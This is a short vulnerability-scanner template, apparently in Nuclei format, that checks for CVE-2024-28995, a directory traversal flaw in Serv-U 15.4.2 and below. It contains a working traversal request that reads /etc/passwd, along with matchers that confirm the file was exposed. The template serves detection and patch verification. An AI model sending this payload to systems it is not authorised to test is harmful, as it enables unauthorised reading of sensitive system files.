Checks for directory traversal vulnerability in Serv-U versions 15.4.2 and below, which allows reading sensitive files like /etc/passwd.
id: CVE-2024-28995
info:
name: Serv-U Directory Traversal Vulnerability
author: Hüseyin TINTAŞ
severity: high
description: Checks for directory traversal vulnerability in Serv-U versions 15.4.2 and below, which allows reading sensitive files like /etc/passwd.
reference:
- https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis
tags: pathtraversal,cve,high,serv-u
requests:
- method: GET
path:
- "{{BaseURL}}/?InternalDir=\\..\\..\\..\\..\\etc^&InternalFile=passwd"
matchers-condition: and
matchers:
- type: word
words:
- "root:x:"
- "daemon:x:"
- "bin:x:"
part: body
- type: status
status:
- 200
- type: word
words:
- "Server: Serv-U"
part: header
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